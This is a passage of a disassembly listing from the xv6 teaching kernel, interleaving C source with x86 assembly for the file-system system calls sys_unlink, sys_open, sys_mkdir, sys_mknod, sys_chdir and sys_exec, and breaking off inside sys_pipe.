80104e96: e8 75 d0 ff ff call 80101f10 <nameiparent>
80104e9b: 85 c0 test %eax,%eax
80104e9d: 89 45 b4 mov %eax,-0x4c(%ebp)
80104ea0: 0f 84 4f 01 00 00 je 80104ff5 <sys_unlink+0x195>
end_op();
return -1;
}
ilock(dp);
80104ea6: 8b 75 b4 mov -0x4c(%ebp),%esi
80104ea9: 89 34 24 mov %esi,(%esp)
80104eac: e8 0f c8 ff ff call 801016c0 <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80104eb1: c7 44 24 04 60 77 10 movl $0x80107760,0x4(%esp)
80104eb8: 80
80104eb9: 89 1c 24 mov %ebx,(%esp)
80104ebc: e8 bf cc ff ff call 80101b80 <namecmp>
80104ec1: 85 c0 test %eax,%eax
80104ec3: 0f 84 21 01 00 00 je 80104fea <sys_unlink+0x18a>
80104ec9: c7 44 24 04 5f 77 10 movl $0x8010775f,0x4(%esp)
80104ed0: 80
80104ed1: 89 1c 24 mov %ebx,(%esp)
80104ed4: e8 a7 cc ff ff call 80101b80 <namecmp>
80104ed9: 85 c0 test %eax,%eax
80104edb: 0f 84 09 01 00 00 je 80104fea <sys_unlink+0x18a>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80104ee1: 8d 45 c4 lea -0x3c(%ebp),%eax
80104ee4: 89 5c 24 04 mov %ebx,0x4(%esp)
80104ee8: 89 44 24 08 mov %eax,0x8(%esp)
80104eec: 89 34 24 mov %esi,(%esp)
80104eef: e8 bc cc ff ff call 80101bb0 <dirlookup>
80104ef4: 85 c0 test %eax,%eax
80104ef6: 89 c3 mov %eax,%ebx
80104ef8: 0f 84 ec 00 00 00 je 80104fea <sys_unlink+0x18a>
goto bad;
ilock(ip);
80104efe: 89 04 24 mov %eax,(%esp)
80104f01: e8 ba c7 ff ff call 801016c0 <ilock>
if(ip->nlink < 1)
80104f06: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104f0b: 0f 8e 24 01 00 00 jle 80105035 <sys_unlink+0x1d5>
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
80104f11: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f16: 8d 75 d8 lea -0x28(%ebp),%esi
80104f19: 74 7d je 80104f98 <sys_unlink+0x138>
iunlockput(ip);
goto bad;
}
memset(&de, 0, sizeof(de));
80104f1b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104f22: 00
80104f23: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104f2a: 00
80104f2b: 89 34 24 mov %esi,(%esp)
80104f2e: e8 ed f5 ff ff call 80104520 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104f33: 8b 45 c4 mov -0x3c(%ebp),%eax
80104f36: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104f3d: 00
80104f3e: 89 74 24 04 mov %esi,0x4(%esp)
80104f42: 89 44 24 08 mov %eax,0x8(%esp)
80104f46: 8b 45 b4 mov -0x4c(%ebp),%eax
80104f49: 89 04 24 mov %eax,(%esp)
80104f4c: e8 ff ca ff ff call 80101a50 <writei>
80104f51: 83 f8 10 cmp $0x10,%eax
80104f54: 0f 85 cf 00 00 00 jne 80105029 <sys_unlink+0x1c9>
panic("unlink: writei");
if(ip->type == T_DIR){
80104f5a: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f5f: 0f 84 a3 00 00 00 je 80105008 <sys_unlink+0x1a8>
dp->nlink--;
iupdate(dp);
}
iunlockput(dp);
80104f65: 8b 45 b4 mov -0x4c(%ebp),%eax
80104f68: 89 04 24 mov %eax,(%esp)
80104f6b: e8 90 c9 ff ff call 80101900 <iunlockput>
ip->nlink--;
80104f70: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104f75: 89 1c 24 mov %ebx,(%esp)
80104f78: e8 83 c6 ff ff call 80101600 <iupdate>
iunlockput(ip);
80104f7d: 89 1c 24 mov %ebx,(%esp)
80104f80: e8 7b c9 ff ff call 80101900 <iunlockput>
end_op();
80104f85: e8 76 dc ff ff call 80102c00 <end_op>
bad:
iunlockput(dp);
end_op();
return -1;
}
80104f8a: 83 c4 5c add $0x5c,%esp
iupdate(ip);
iunlockput(ip);
end_op();
return 0;
80104f8d: 31 c0 xor %eax,%eax
bad:
iunlockput(dp);
end_op();
return -1;
}
80104f8f: 5b pop %ebx
80104f90: 5e pop %esi
80104f91: 5f pop %edi
80104f92: 5d pop %ebp
80104f93: c3 ret
80104f94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104f98: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80104f9c: 0f 86 79 ff ff ff jbe 80104f1b <sys_unlink+0xbb>
80104fa2: bf 20 00 00 00 mov $0x20,%edi
80104fa7: eb 15 jmp 80104fbe <sys_unlink+0x15e>
80104fa9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104fb0: 8d 57 10 lea 0x10(%edi),%edx
80104fb3: 3b 53 58 cmp 0x58(%ebx),%edx
80104fb6: 0f 83 5f ff ff ff jae 80104f1b <sys_unlink+0xbb>
80104fbc: 89 d7 mov %edx,%edi
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104fbe: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80104fc5: 00
80104fc6: 89 7c 24 08 mov %edi,0x8(%esp)
80104fca: 89 74 24 04 mov %esi,0x4(%esp)
80104fce: 89 1c 24 mov %ebx,(%esp)
80104fd1: e8 7a c9 ff ff call 80101950 <readi>
80104fd6: 83 f8 10 cmp $0x10,%eax
80104fd9: 75 42 jne 8010501d <sys_unlink+0x1bd>
panic("isdirempty: readi");
if(de.inum != 0)
80104fdb: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80104fe0: 74 ce je 80104fb0 <sys_unlink+0x150>
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
iunlockput(ip);
80104fe2: 89 1c 24 mov %ebx,(%esp)
80104fe5: e8 16 c9 ff ff call 80101900 <iunlockput>
end_op();
return 0;
bad:
iunlockput(dp);
80104fea: 8b 45 b4 mov -0x4c(%ebp),%eax
80104fed: 89 04 24 mov %eax,(%esp)
80104ff0: e8 0b c9 ff ff call 80101900 <iunlockput>
end_op();
80104ff5: e8 06 dc ff ff call 80102c00 <end_op>
return -1;
}
80104ffa: 83 c4 5c add $0x5c,%esp
return 0;
bad:
iunlockput(dp);
end_op();
return -1;
80104ffd: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105002: 5b pop %ebx
80105003: 5e pop %esi
80105004: 5f pop %edi
80105005: 5d pop %ebp
80105006: c3 ret
80105007: 90 nop
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
80105008: 8b 45 b4 mov -0x4c(%ebp),%eax
8010500b: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80105010: 89 04 24 mov %eax,(%esp)
80105013: e8 e8 c5 ff ff call 80101600 <iupdate>
80105018: e9 48 ff ff ff jmp 80104f65 <sys_unlink+0x105>
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
8010501d: c7 04 24 84 77 10 80 movl $0x80107784,(%esp)
80105024: e8 37 b3 ff ff call 80100360 <panic>
goto bad;
}
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
80105029: c7 04 24 96 77 10 80 movl $0x80107796,(%esp)
80105030: e8 2b b3 ff ff call 80100360 <panic>
if((ip = dirlookup(dp, name, &off)) == 0)
goto bad;
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
80105035: c7 04 24 72 77 10 80 movl $0x80107772,(%esp)
8010503c: e8 1f b3 ff ff call 80100360 <panic>
80105041: eb 0d jmp 80105050 <sys_open>
80105043: 90 nop
80105044: 90 nop
80105045: 90 nop
80105046: 90 nop
80105047: 90 nop
80105048: 90 nop
80105049: 90 nop
8010504a: 90 nop
8010504b: 90 nop
8010504c: 90 nop
8010504d: 90 nop
8010504e: 90 nop
8010504f: 90 nop
80105050 <sys_open>:
return ip;
}
int
sys_open(void)
{
80105050: 55 push %ebp
80105051: 89 e5 mov %esp,%ebp
80105053: 57 push %edi
80105054: 56 push %esi
80105055: 53 push %ebx
80105056: 83 ec 2c sub $0x2c,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80105059: 8d 45 e0 lea -0x20(%ebp),%eax
8010505c: 89 44 24 04 mov %eax,0x4(%esp)
80105060: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105067: e8 34 f8 ff ff call 801048a0 <argstr>
8010506c: 85 c0 test %eax,%eax
8010506e: 0f 88 81 00 00 00 js 801050f5 <sys_open+0xa5>
80105074: 8d 45 e4 lea -0x1c(%ebp),%eax
80105077: 89 44 24 04 mov %eax,0x4(%esp)
8010507b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105082: e8 89 f7 ff ff call 80104810 <argint>
80105087: 85 c0 test %eax,%eax
80105089: 78 6a js 801050f5 <sys_open+0xa5>
return -1;
begin_op();
8010508b: e8 00 db ff ff call 80102b90 <begin_op>
if(omode & O_CREATE){
80105090: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80105094: 75 72 jne 80105108 <sys_open+0xb8>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80105096: 8b 45 e0 mov -0x20(%ebp),%eax
80105099: 89 04 24 mov %eax,(%esp)
8010509c: e8 4f ce ff ff call 80101ef0 <namei>
801050a1: 85 c0 test %eax,%eax
801050a3: 89 c7 mov %eax,%edi
801050a5: 74 49 je 801050f0 <sys_open+0xa0>
end_op();
return -1;
}
ilock(ip);
801050a7: 89 04 24 mov %eax,(%esp)
801050aa: e8 11 c6 ff ff call 801016c0 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
801050af: 66 83 7f 50 01 cmpw $0x1,0x50(%edi)
801050b4: 0f 84 ae 00 00 00 je 80105168 <sys_open+0x118>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
801050ba: e8 b1 bc ff ff call 80100d70 <filealloc>
801050bf: 85 c0 test %eax,%eax
801050c1: 89 c6 mov %eax,%esi
801050c3: 74 23 je 801050e8 <sys_open+0x98>
801050c5: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801050cc: 31 db xor %ebx,%ebx
801050ce: 66 90 xchg %ax,%ax
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
801050d0: 8b 44 9a 28 mov 0x28(%edx,%ebx,4),%eax
801050d4: 85 c0 test %eax,%eax
801050d6: 74 50 je 80105128 <sys_open+0xd8>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
801050d8: 83 c3 01 add $0x1,%ebx
801050db: 83 fb 10 cmp $0x10,%ebx
801050de: 75 f0 jne 801050d0 <sys_open+0x80>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
801050e0: 89 34 24 mov %esi,(%esp)
801050e3: e8 48 bd ff ff call 80100e30 <fileclose>
iunlockput(ip);
801050e8: 89 3c 24 mov %edi,(%esp)
801050eb: e8 10 c8 ff ff call 80101900 <iunlockput>
end_op();
801050f0: e8 0b db ff ff call 80102c00 <end_op>
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
801050f5: 83 c4 2c add $0x2c,%esp
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
801050f8: b8 ff ff ff ff mov $0xffffffff,%eax
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
801050fd: 5b pop %ebx
801050fe: 5e pop %esi
801050ff: 5f pop %edi
80105100: 5d pop %ebp
80105101: c3 ret
80105102: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
80105108: 8b 45 e0 mov -0x20(%ebp),%eax
8010510b: 31 c9 xor %ecx,%ecx
8010510d: ba 02 00 00 00 mov $0x2,%edx
80105112: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105119: e8 72 f8 ff ff call 80104990 <create>
if(ip == 0){
8010511e: 85 c0 test %eax,%eax
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
80105120: 89 c7 mov %eax,%edi
if(ip == 0){
80105122: 75 96 jne 801050ba <sys_open+0x6a>
80105124: eb ca jmp 801050f0 <sys_open+0xa0>
80105126: 66 90 xchg %ax,%ax
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80105128: 89 74 9a 28 mov %esi,0x28(%edx,%ebx,4)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
8010512c: 89 3c 24 mov %edi,(%esp)
8010512f: e8 5c c6 ff ff call 80101790 <iunlock>
end_op();
80105134: e8 c7 da ff ff call 80102c00 <end_op>
f->type = FD_INODE;
80105139: c7 06 02 00 00 00 movl $0x2,(%esi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
8010513f: 8b 55 e4 mov -0x1c(%ebp),%edx
}
iunlock(ip);
end_op();
f->type = FD_INODE;
f->ip = ip;
80105142: 89 7e 10 mov %edi,0x10(%esi)
f->off = 0;
80105145: c7 46 14 00 00 00 00 movl $0x0,0x14(%esi)
f->readable = !(omode & O_WRONLY);
8010514c: 89 d0 mov %edx,%eax
8010514e: 83 e0 01 and $0x1,%eax
80105151: 83 f0 01 xor $0x1,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105154: 83 e2 03 and $0x3,%edx
end_op();
f->type = FD_INODE;
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80105157: 88 46 08 mov %al,0x8(%esi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
8010515a: 89 d8 mov %ebx,%eax
f->type = FD_INODE;
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
8010515c: 0f 95 46 09 setne 0x9(%esi)
return fd;
}
80105160: 83 c4 2c add $0x2c,%esp
80105163: 5b pop %ebx
80105164: 5e pop %esi
80105165: 5f pop %edi
80105166: 5d pop %ebp
80105167: c3 ret
if((ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type == T_DIR && omode != O_RDONLY){
80105168: 8b 55 e4 mov -0x1c(%ebp),%edx
8010516b: 85 d2 test %edx,%edx
8010516d: 0f 84 47 ff ff ff je 801050ba <sys_open+0x6a>
80105173: e9 70 ff ff ff jmp 801050e8 <sys_open+0x98>
80105178: 90 nop
80105179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105180 <sys_mkdir>:
return fd;
}
int
sys_mkdir(void)
{
80105180: 55 push %ebp
80105181: 89 e5 mov %esp,%ebp
80105183: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80105186: e8 05 da ff ff call 80102b90 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010518b: 8d 45 f4 lea -0xc(%ebp),%eax
8010518e: 89 44 24 04 mov %eax,0x4(%esp)
80105192: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105199: e8 02 f7 ff ff call 801048a0 <argstr>
8010519e: 85 c0 test %eax,%eax
801051a0: 78 2e js 801051d0 <sys_mkdir+0x50>
801051a2: 8b 45 f4 mov -0xc(%ebp),%eax
801051a5: 31 c9 xor %ecx,%ecx
801051a7: ba 01 00 00 00 mov $0x1,%edx
801051ac: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801051b3: e8 d8 f7 ff ff call 80104990 <create>
801051b8: 85 c0 test %eax,%eax
801051ba: 74 14 je 801051d0 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
801051bc: 89 04 24 mov %eax,(%esp)
801051bf: e8 3c c7 ff ff call 80101900 <iunlockput>
end_op();
801051c4: e8 37 da ff ff call 80102c00 <end_op>
return 0;
801051c9: 31 c0 xor %eax,%eax
}
801051cb: c9 leave
801051cc: c3 ret
801051cd: 8d 76 00 lea 0x0(%esi),%esi
char *path;
struct inode *ip;
begin_op();
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
end_op();
801051d0: e8 2b da ff ff call 80102c00 <end_op>
return -1;
801051d5: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
801051da: c9 leave
801051db: c3 ret
801051dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801051e0 <sys_mknod>:
int
sys_mknod(void)
{
801051e0: 55 push %ebp
801051e1: 89 e5 mov %esp,%ebp
801051e3: 83 ec 28 sub $0x28,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
801051e6: e8 a5 d9 ff ff call 80102b90 <begin_op>
if((argstr(0, &path)) < 0 ||
801051eb: 8d 45 ec lea -0x14(%ebp),%eax
801051ee: 89 44 24 04 mov %eax,0x4(%esp)
801051f2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801051f9: e8 a2 f6 ff ff call 801048a0 <argstr>
801051fe: 85 c0 test %eax,%eax
80105200: 78 5e js 80105260 <sys_mknod+0x80>
argint(1, &major) < 0 ||
80105202: 8d 45 f0 lea -0x10(%ebp),%eax
80105205: 89 44 24 04 mov %eax,0x4(%esp)
80105209: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105210: e8 fb f5 ff ff call 80104810 <argint>
struct inode *ip;
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
80105215: 85 c0 test %eax,%eax
80105217: 78 47 js 80105260 <sys_mknod+0x80>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105219: 8d 45 f4 lea -0xc(%ebp),%eax
8010521c: 89 44 24 04 mov %eax,0x4(%esp)
80105220: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80105227: e8 e4 f5 ff ff call 80104810 <argint>
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
8010522c: 85 c0 test %eax,%eax
8010522e: 78 30 js 80105260 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
80105230: 0f bf 45 f4 movswl -0xc(%ebp),%eax
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105234: ba 03 00 00 00 mov $0x3,%edx
(ip = create(path, T_DEV, major, minor)) == 0){
80105239: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
8010523d: 89 04 24 mov %eax,(%esp)
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105240: 8b 45 ec mov -0x14(%ebp),%eax
80105243: e8 48 f7 ff ff call 80104990 <create>
80105248: 85 c0 test %eax,%eax
8010524a: 74 14 je 80105260 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
return -1;
}
iunlockput(ip);
8010524c: 89 04 24 mov %eax,(%esp)
8010524f: e8 ac c6 ff ff call 80101900 <iunlockput>
end_op();
80105254: e8 a7 d9 ff ff call 80102c00 <end_op>
return 0;
80105259: 31 c0 xor %eax,%eax
}
8010525b: c9 leave
8010525c: c3 ret
8010525d: 8d 76 00 lea 0x0(%esi),%esi
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80105260: e8 9b d9 ff ff call 80102c00 <end_op>
return -1;
80105265: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010526a: c9 leave
8010526b: c3 ret
8010526c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105270 <sys_chdir>:
int
sys_chdir(void)
{
80105270: 55 push %ebp
80105271: 89 e5 mov %esp,%ebp
80105273: 53 push %ebx
80105274: 83 ec 24 sub $0x24,%esp
char *path;
struct inode *ip;
begin_op();
80105277: e8 14 d9 ff ff call 80102b90 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
8010527c: 8d 45 f4 lea -0xc(%ebp),%eax
8010527f: 89 44 24 04 mov %eax,0x4(%esp)
80105283: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010528a: e8 11 f6 ff ff call 801048a0 <argstr>
8010528f: 85 c0 test %eax,%eax
80105291: 78 5a js 801052ed <sys_chdir+0x7d>
80105293: 8b 45 f4 mov -0xc(%ebp),%eax
80105296: 89 04 24 mov %eax,(%esp)
80105299: e8 52 cc ff ff call 80101ef0 <namei>
8010529e: 85 c0 test %eax,%eax
801052a0: 89 c3 mov %eax,%ebx
801052a2: 74 49 je 801052ed <sys_chdir+0x7d>
end_op();
return -1;
}
ilock(ip);
801052a4: 89 04 24 mov %eax,(%esp)
801052a7: e8 14 c4 ff ff call 801016c0 <ilock>
if(ip->type != T_DIR){
801052ac: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
iunlockput(ip);
801052b1: 89 1c 24 mov %ebx,(%esp)
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
801052b4: 75 32 jne 801052e8 <sys_chdir+0x78>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
801052b6: e8 d5 c4 ff ff call 80101790 <iunlock>
iput(proc->cwd);
801052bb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801052c1: 8b 40 68 mov 0x68(%eax),%eax
801052c4: 89 04 24 mov %eax,(%esp)
801052c7: e8 04 c5 ff ff call 801017d0 <iput>
end_op();
801052cc: e8 2f d9 ff ff call 80102c00 <end_op>
proc->cwd = ip;
801052d1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801052d7: 89 58 68 mov %ebx,0x68(%eax)
return 0;
}
801052da: 83 c4 24 add $0x24,%esp
}
iunlock(ip);
iput(proc->cwd);
end_op();
proc->cwd = ip;
return 0;
801052dd: 31 c0 xor %eax,%eax
}
801052df: 5b pop %ebx
801052e0: 5d pop %ebp
801052e1: c3 ret
801052e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
801052e8: e8 13 c6 ff ff call 80101900 <iunlockput>
end_op();
801052ed: e8 0e d9 ff ff call 80102c00 <end_op>
iunlock(ip);
iput(proc->cwd);
end_op();
proc->cwd = ip;
return 0;
}
801052f2: 83 c4 24 add $0x24,%esp
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
end_op();
return -1;
801052f5: b8 ff ff ff ff mov $0xffffffff,%eax
iunlock(ip);
iput(proc->cwd);
end_op();
proc->cwd = ip;
return 0;
}
801052fa: 5b pop %ebx
801052fb: 5d pop %ebp
801052fc: c3 ret
801052fd: 8d 76 00 lea 0x0(%esi),%esi
80105300 <sys_exec>:
int
sys_exec(void)
{
80105300: 55 push %ebp
80105301: 89 e5 mov %esp,%ebp
80105303: 57 push %edi
80105304: 56 push %esi
80105305: 53 push %ebx
80105306: 81 ec ac 00 00 00 sub $0xac,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
8010530c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
80105312: 89 44 24 04 mov %eax,0x4(%esp)
80105316: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010531d: e8 7e f5 ff ff call 801048a0 <argstr>
80105322: 85 c0 test %eax,%eax
80105324: 0f 88 84 00 00 00 js 801053ae <sys_exec+0xae>
8010532a: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
80105330: 89 44 24 04 mov %eax,0x4(%esp)
80105334: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010533b: e8 d0 f4 ff ff call 80104810 <argint>
80105340: 85 c0 test %eax,%eax
80105342: 78 6a js 801053ae <sys_exec+0xae>
return -1;
}
memset(argv, 0, sizeof(argv));
80105344: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
for(i=0;; i++){
8010534a: 31 db xor %ebx,%ebx
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
8010534c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80105353: 00
80105354: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
8010535a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105361: 00
80105362: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105368: 89 04 24 mov %eax,(%esp)
8010536b: e8 b0 f1 ff ff call 80104520 <memset>
for(i=0;; i++){
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105370: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105376: 89 7c 24 04 mov %edi,0x4(%esp)
8010537a: 8d 04 98 lea (%eax,%ebx,4),%eax
8010537d: 89 04 24 mov %eax,(%esp)
80105380: e8 0b f4 ff ff call 80104790 <fetchint>
80105385: 85 c0 test %eax,%eax
80105387: 78 25 js 801053ae <sys_exec+0xae>
return -1;
if(uarg == 0){
80105389: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
8010538f: 85 c0 test %eax,%eax
80105391: 74 2d je 801053c0 <sys_exec+0xc0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80105393: 89 74 24 04 mov %esi,0x4(%esp)
80105397: 89 04 24 mov %eax,(%esp)
8010539a: e8 21 f4 ff ff call 801047c0 <fetchstr>
8010539f: 85 c0 test %eax,%eax
801053a1: 78 0b js 801053ae <sys_exec+0xae>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801053a3: 83 c3 01 add $0x1,%ebx
801053a6: 83 c6 04 add $0x4,%esi
if(i >= NELEM(argv))
801053a9: 83 fb 20 cmp $0x20,%ebx
801053ac: 75 c2 jne 80105370 <sys_exec+0x70>
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
801053ae: 81 c4 ac 00 00 00 add $0xac,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
801053b4: b8 ff ff ff ff mov $0xffffffff,%eax
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
801053b9: 5b pop %ebx
801053ba: 5e pop %esi
801053bb: 5f pop %edi
801053bc: 5d pop %ebp
801053bd: c3 ret
801053be: 66 90 xchg %ax,%ax
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801053c0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
801053c6: 89 44 24 04 mov %eax,0x4(%esp)
801053ca: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
argv[i] = 0;
801053d0: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
801053d7: 00 00 00 00
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801053db: 89 04 24 mov %eax,(%esp)
801053de: e8 cd b5 ff ff call 801009b0 <exec>
}
801053e3: 81 c4 ac 00 00 00 add $0xac,%esp
801053e9: 5b pop %ebx
801053ea: 5e pop %esi
801053eb: 5f pop %edi
801053ec: 5d pop %ebp
801053ed: c3 ret
801053ee: 66 90 xchg %ax,%ax
801053f0 <sys_pipe>:
int
sys_pipe(void)
{
801053f0: 55 push %ebp
801053f1: 89 e5 mov %esp,%ebp
801053f3: 57 push %edi
801053f4: 56 push %esi
801053f5: 53 push %ebx
801053f6: 83 ec 2c sub $0x2c,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801053f9: 8d 45 dc lea -0x24(%ebp),%eax
801053fc: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
80105403: 00
80105404: 89 44 24 04 mov %eax,0x4(%esp)
80105408: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010540f: e8 3c f4 ff ff call 80104850 <argptr>
80105414: 85 c0 test %eax,%eax
80105416: 78 7a js 80105492 <sys_pipe+0xa2>
return -1;
if(pipealloc(&rf, &wf) < 0)
80105418: 8d 45 e4 lea -0x1c(%ebp),%eax
